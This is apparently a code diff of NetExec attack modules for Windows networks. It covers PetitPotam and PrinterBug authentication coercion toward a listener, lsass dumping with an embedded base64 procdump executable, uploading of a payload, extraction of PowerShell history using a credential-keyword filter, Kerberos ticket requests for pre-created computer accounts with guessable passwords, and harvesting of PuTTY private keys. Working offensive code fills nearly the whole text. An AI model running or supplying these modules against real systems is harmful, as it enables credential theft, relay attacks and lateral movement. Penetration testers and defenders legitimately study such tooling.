rpc_transport.setRemoteHost(target_ip)
dce = rpc_transport.get_dce_rpc()
dce.set_auth_type(RPC_C_AUTHN_WINNT)
dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
if do_kerberos:
rpc_transport.set_kerberos(do_kerberos, kdcHost=dc_host)
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
context.log.info(f"[-] Connecting to {binding_params[pipe]['stringBinding']}")
try:
dce.connect()
except Exception as e:
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Connected!")
context.log.info(f"[+] Binding to {binding_params[pipe]['MSRPC_UUID_EFSR'][0]}")
try:
dce.bind(uuidtup_to_bin(binding_params[pipe]["MSRPC_UUID_EFSR"]))
except Exception as e:
context.log.debug(f"Something went wrong, check error status => {e!s}")
sys.exit()
context.log.info("[+] Successfully bound!")
return dce
def efs_rpc_open_file_raw(dce, listener, context=None):
try:
request = EfsRpcOpenFileRaw()
request["fileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
request["Flag"] = 0
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
if str(e).find("rpc_s_access_denied") >= 0:
context.log.info("[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!")
context.log.info("[+] OK! Using unpatched function!")
context.log.info("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
context.log.info("[+] Got expected ERROR_BAD_NETPATH exception!!")
context.log.info("[+] Attack worked!")
return True
else:
context.log.debug(f"Something went wrong, check error status => {e!s}")
else:
context.log.debug(f"Something went wrong, check error status => {e!s}")
+5 -5
View File
@@ -1,8 +1,8 @@
from base64 import b64decode
from sys import exit
from os.path import abspath, join, isfile
from os import path
from nxc.paths import DATA_PATH, TMP_PATH
from nxc.paths import DATA_PATH
class NXCModule:
@@ -25,7 +25,7 @@ class NXCModule:
self.pi = "pi.exe"
self.useembeded = True
self.pid = self.cmd = ""
with open(join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
with open(path.join(DATA_PATH, ("pi_module/pi.bs64"))) as pi_file:
self.pi_embedded = b64decode(pi_file.read())
if "EXEC" in module_options:
@@ -36,11 +36,11 @@ class NXCModule:
def on_admin_login(self, context, connection):
if self.useembeded:
file_to_upload = abspath(join(TMP_PATH, "pi.exe"))
file_to_upload = "/tmp/pi.exe"
with open(file_to_upload, "wb") as pm:
pm.write(self.pi_embedded)
else:
if isfile(self.imp_exe):
if path.isfile(self.imp_exe):
file_to_upload = self.imp_exe
else:
context.log.error(f"Cannot open {self.imp_exe}")
-73
View File
@@ -1,73 +0,0 @@
import traceback
from os import makedirs
from os.path import join, abspath
from nxc.paths import NXC_PATH
class NXCModule:
"""Module by @357384n"""
name = "powershell_history"
description = "Extracts PowerShell history for all users and looks for sensitive commands."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""To export all the history you can add the following option: -o export=True"""
context.log.info(f"Received module options: {module_options}")
self.export = bool(module_options.get("EXPORT", False))
context.log.info(f"Option export set to: {self.export}")
def analyze_history(self, history):
"""Analyze PowerShell history for sensitive information."""
sensitive_keywords = [
"password", "passwd", "passw", "secret", "credential", "key",
"get-credential", "convertto-securestring", "set-localuser",
"new-localuser", "set-adaccountpassword", "new-object system.net.webclient",
"invoke-webrequest", "invoke-restmethod"
]
sensitive_commands = []
for command in history:
command_lower = command.lower()
if any(keyword.lower() in command_lower for keyword in sensitive_keywords):
sensitive_commands.append(command.strip())
return sensitive_commands
def on_admin_login(self, context, connection):
"""Main function to retrieve and analyze PowerShell history."""
try:
context.log.info("Retrieving PowerShell history...")
command = 'powershell.exe "type C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt"'
history = connection.execute(command, True).split("\n")
if history:
sensitive_commands = self.analyze_history(history)
if sensitive_commands:
context.log.highlight("Sensitive commands found in PowerShell history:")
for command in sensitive_commands:
context.log.highlight(f" {command}")
else:
context.log.info("No sensitive commands found in PowerShell history.")
else:
context.log.info("No PowerShell history found.")
# Check if export is enabled
context.log.info(f"Export option is set to: {self.export}")
if self.export and history:
host = connection.host # Assuming 'host' contains the target IP or hostname
filename = f"{host}_powershell_history.txt"
export_path = join(NXC_PATH, "modules", "powershell_history")
path = abspath(join(export_path, filename))
makedirs(export_path, exist_ok=True)
context.log.info(f"Export enabled, writing history to {path}")
try:
with open(path, "w") as file:
for cmd in history:
file.write(cmd + "\n")
context.log.highlight(f"PowerShell history written to: {path}")
except Exception as e:
context.log.fail(f"Failed to write history to {filename}: {e}")
except Exception as e:
context.log.fail(f"UNEXPECTED ERROR: {e}")
context.log.debug(traceback.format_exc())
-126
View File
@@ -1,126 +0,0 @@
import os
from impacket.krb5.kerberosv5 import getKerberosTGT
from impacket.krb5.ccache import CCache
from impacket.krb5.types import Principal
from impacket.krb5 import constants
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.paths import NXC_PATH
class NXCModule:
"""
Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each pre-created computer account.
Module by: @shad0wcntr0ller
"""
name = "pre2k"
description = "Identify pre-created computer accounts, save the results to a file, and obtain TGTs for each"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
pass
def on_login(self, context, connection):
try:
ldap_connection = connection.ldapConnection
# Define the search filter for pre-created computer accounts
search_filter = "(&(objectClass=computer)(userAccountControl=4128))"
attributes = ["sAMAccountName", "userAccountControl", "dNSHostName"]
context.log.info(f"Using search filter: {search_filter}")
context.log.info(f"Attributes to retrieve: {attributes}")
computers = []
try:
# Use paged search to retrieve all computer accounts with specific flags
search_results = connection.search(search_filter, attributes)
results = parse_result_attributes(search_results)
context.log.debug(f"Search results: {results}")
for computer in results:
context.log.debug(f"Processing computer: {computer['sAMAccountName']}, UAC: {computer['userAccountControl']}")
# Check if the account is a pre-created computer account
if int(computer["userAccountControl"]) == 4128: # 4096 | 32
computers.append(computer["sAMAccountName"])
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
# Save computers to file
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
output_file = os.path.join(domain_dir, "precreated_computers.txt")
# Create directories if they do not exist
os.makedirs(domain_dir, exist_ok=True)
with open(output_file, "w") as file:
for computer in computers:
file.write(f"{computer}\n")
# Print discovered pre-created computer accounts
if computers:
for computer in computers:
context.log.highlight(f"Pre-created computer account: {computer}")
context.log.success(f"Found {len(computers)} pre-created computer accounts. Saved to {output_file}")
else:
context.log.info("No pre-created computer accounts found.")
# Obtain TGTs and save to ccache
ccache_base_dir = f"{NXC_PATH}/modules/pre2k/ccache"
os.makedirs(ccache_base_dir, exist_ok=True)
successful_tgts = 0
for computer in computers:
machine_name = computer[:-1].lower() # Remove trailing '$' and convert to lowercase
if self.get_tgt(context, machine_name, connection.domain, connection.kdcHost, ccache_base_dir):
successful_tgts += 1
# Summary of TGT results
context.log.success(f"Successfully obtained TGT for {successful_tgts} pre-created computer accounts. Saved to {ccache_base_dir}")
except Exception as e:
context.log.fail(f"Error occurred during search: {e}")
ldap_connection.close()
return True
except Exception as e:
context.log.fail(f"Error occurred during LDAP connection: {e}")
return False
def get_tgt(self, context, username, domain, kdcHost, ccache_base_dir):
try:
userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
password = username # Password is the machine name in lowercase
context.log.info(f"Getting TGT for {username}@{domain}")
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(
clientName=userName,
password=password,
domain=domain,
lmhash="",
nthash="",
aesKey="",
kdcHost=kdcHost,
serverName=None
)
self.save_ticket(context, username, tgt, oldSessionKey, ccache_base_dir)
context.log.success(f"Successfully obtained TGT for {username}@{domain}")
return True
except Exception as e:
context.log.fail(f"Failed to get TGT for {username}@{domain}: {e}")
return False
def save_ticket(self, context, username, ticket, sessionKey, ccache_base_dir):
try:
ccache = CCache()
ccache.fromTGT(ticket, sessionKey, sessionKey)
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
ccache.saveFile(ccache_filename)
context.log.info(f"Saved ticket in {ccache_filename}")
except Exception as e:
context.log.fail(f"Failed to save ticket for {username}: {e}")
+99 -2
View File
@@ -1,6 +1,9 @@
from impacket.dcerpc.v5 import transport, rprn
class NXCModule:
name = "printerbug"
description = "[REMOVED] Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
description = "Module to check if the Target is vulnerable to PrinterBug. Set LISTENER IP for coercion."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
@@ -17,4 +20,98 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
trigger = TriggerAuth(context)
target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=target,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to PrinterBug")
trigger.RpcRemoteFindFirstPrinterChange(dce, self.listener, target)
context.log.highlight("VULNERABLE")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to PrinterBug")
################################################################################
# RPC CALLS
################################################################################
class TriggerAuth:
def __init__(self, context):
self.context = context
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\spoolss]" % target)
rpctransport.set_dport(445)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
self.context.log.debug("Connecting to {}".format(r"ncacn_np:%s[\PIPE\spoolfs]") % target)
try:
dce.connect()
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(rprn.MSRPC_UUID_RPRN)
except Exception as e:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return None
self.context.log.debug("Successfully bound!")
return dce
def RpcRemoteFindFirstPrinterChange(self, dce, listener, target):
self.context.log.debug("Sending RpcRemoteFindFirstPrinterChange!")
try:
resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target)
except Exception as e:
if str(e).find("Broken pipe") >= 0:
# The connection timed-out. Let's try to bring it back next round
self.context.log.error("Connection failed - skipping host!")
return
elif str(e).upper().find("ACCESS_DENIED"):
# We're not admin, bye
self.context.log.error("Access denied - RPC call was denied")
dce.disconnect()
return
else:
raise
self.context.log.debug("Got handle")
try:
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
request["hPrinter"] = resp["pHandle"]
request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB
request["pszLocalMachine"] = "\\\\%s\x00" % listener
except Exception as e:
self.context.log.debug(e)
try:
dce.request(request)
except Exception as e:
self.context.log.debug(e)
+2 -3
View File
@@ -1,6 +1,6 @@
import sys
from impacket import system_errors
from impacket.dcerpc.v5.rpcrt import DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.structure import Structure
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.ndr import NDRCALL, NDRPOINTER, NDRSTRUCT, NDRUNION, NULL
@@ -55,13 +55,12 @@ class NXCModule:
)
rpctransport.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
rpctransport.setRemoteHost(connection.host)
rpctransport.set_dport(self.port)
try:
dce = rpctransport.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
# Connect to spoolss named pipe
dce.connect()
# Bind to MSRPC MS-RPRN UUID: 12345678-1234-ABCD-EF00-0123456789AB
+4 -6
View File
@@ -7,8 +7,6 @@ import re
import sys
import pypykatz
from nxc.helpers.bloodhound import add_user_bh
from nxc.paths import TMP_PATH
from os.path import abspath, join
class NXCModule:
@@ -32,7 +30,7 @@ class NXCModule:
"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 truncated
)
self.procdump = "procdump.exe"
self.procdump_path = abspath(TMP_PATH)
self.procdump_path = "/tmp/"
self.dir_result = self.procdump_path
self.useembeded = True
@@ -91,10 +89,10 @@ class NXCModule:
context.log.display(f"Copy {machine_name} to host")
with open(abspath(join(self.dir_result, machine_name)), "wb+") as dump_file:
with open(self.dir_result + machine_name, "wb+") as dump_file:
try:
connection.conn.getFile(self.share, self.tmp_share + machine_name, dump_file.write)
context.log.success(f"Dumpfile of lsass.exe was transferred to {abspath(join(self.dir_result, machine_name))}")
context.log.success(f"Dumpfile of lsass.exe was transferred to {self.dir_result + machine_name}")
except Exception as e:
context.log.fail(f"Error while get file: {e}")
@@ -110,7 +108,7 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error deleting lsass.dmp file on share {self.share}: {e}")
with open(abspath(join(self.dir_result, machine_name)), "rb") as dump:
with open(self.dir_result + machine_name, "rb") as dump:
try:
credz_bh = []
try:
+1 -1
View File
@@ -53,7 +53,7 @@ class NXCModule:
for attrs in resp:
if not isinstance(attrs, ldapasn1_impacket.SearchResultEntry):
continue
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, observationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
policyName, description, passwordLength, passwordhistorylength, lockoutThreshold, obersationWindow, lockoutDuration, complexity, minPassAge, maxPassAge, reverseibleEncryption, precedence, policyApplies = ("",) * 13
for attr in attrs["attributes"]:
if str(attr["type"]) == "name":
policyName = attr["vals"][0]
-221
View File
@@ -1,221 +0,0 @@
from datetime import datetime
from io import BytesIO
import traceback
from urllib.parse import unquote
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from os import makedirs
from nxc.helpers.logger import highlight
from nxc.paths import NXC_PATH
import re
class NXCModule:
"""Module by @NeffIsBack"""
name = "putty"
description = "Query the registry for users who saved ssh private keys in PuTTY. Download the private keys if found."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
self.context = None
self.module_options = None
self.rrp = None
def options(self, context, module_options):
"""No options available"""
def get_logged_on_users(self):
"""Enumerate all logged in and loaded Users on System"""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Filter legit users in regex
user_objects.remove(".DEFAULT")
regex = re.compile(r"^.*_Classes$")
return [i for i in user_objects if not regex.match(i)]
def get_all_users(self):
"""Get all users that have logged in at some point in time"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList")["phkResult"]
users = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
# Get User Names
user_objects = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(users)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
return user_objects
def sid_to_name(self, all_users):
"""Convert SID to Usernames for better readability"""
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
user_dict = {}
for user_object in all_users:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
user_dict[user_object] = user_profile_path.split("\\")[-1]
return user_dict
def load_missing_users(self, unloaded_user_objects):
"""Load missing users into registry to access their registry keys."""
for user_object in unloaded_user_objects:
# Extract profile Path of NTUSER.DAT
reg_handle = rrp.hOpenLocalMachine(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\ProfileList\\{user_object}")["phkResult"]
user_profile_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProfileImagePath")[1].split("\x00")[:-1][0]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Load Profile
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
self.context.log.debug(f"LOAD USER INTO REGISTRY: {user_object}")
rrp.hBaseRegLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object, f"{user_profile_path}\\NTUSER.DAT")
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def unload_missing_users(self, unloaded_user_objects):
"""If some user were not logged in at the beginning we unload them from registry."""
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, "")["phkResult"]
for user_object in unloaded_user_objects:
self.context.log.debug(f"UNLOAD USER FROM REGISTRY: {user_object}")
try:
rrp.hBaseRegUnLoadKey(self.rrp._RemoteOperations__rrp, key_handle, user_object)
except Exception as e:
self.context.log.fail(f"Error unloading user {user_object} in registry: {e}")
self.context.log.debug(traceback.format_exc())
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
def get_private_key_paths(self, all_users):
"""Get all private key paths for all users"""
sessions = []
reg_handle = rrp.hOpenUsers(self.rrp._RemoteOperations__rrp)["phKey"]
for user in all_users:
try:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions")["phkResult"]
reg_sessions = rrp.hBaseRegQueryInfoKey(self.rrp._RemoteOperations__rrp, key_handle)["lpcSubKeys"]
self.context.log.info(f'Found {reg_sessions} sessions for user "{self.user_dict[user]}" in registry!')
# Get Session Names
session_names = [rrp.hBaseRegEnumKey(self.rrp._RemoteOperations__rrp, key_handle, i)["lpNameOut"].split("\x00")[:-1][0] for i in range(reg_sessions)]
rrp.hBaseRegCloseKey(self.rrp._RemoteOperations__rrp, key_handle)
# Extract stored Session infos
for session_name in session_names:
key_handle = rrp.hBaseRegOpenKey(self.rrp._RemoteOperations__rrp, reg_handle, f"{user}\\Software\\SimonTatham\\PuTTY\\Sessions\\{session_name}")["phkResult"]
# Get private Key Path
private_key_path = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "PublicKeyFile")[1].split("\x00")[:-1][0]
proxy_host = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyHost")[1].split("\x00")[:-1][0]
proxy_port = rrp.hBaseRegQueryValue(self.rrp._RemoteOperations__rrp, key_handle, "ProxyPort")[1]
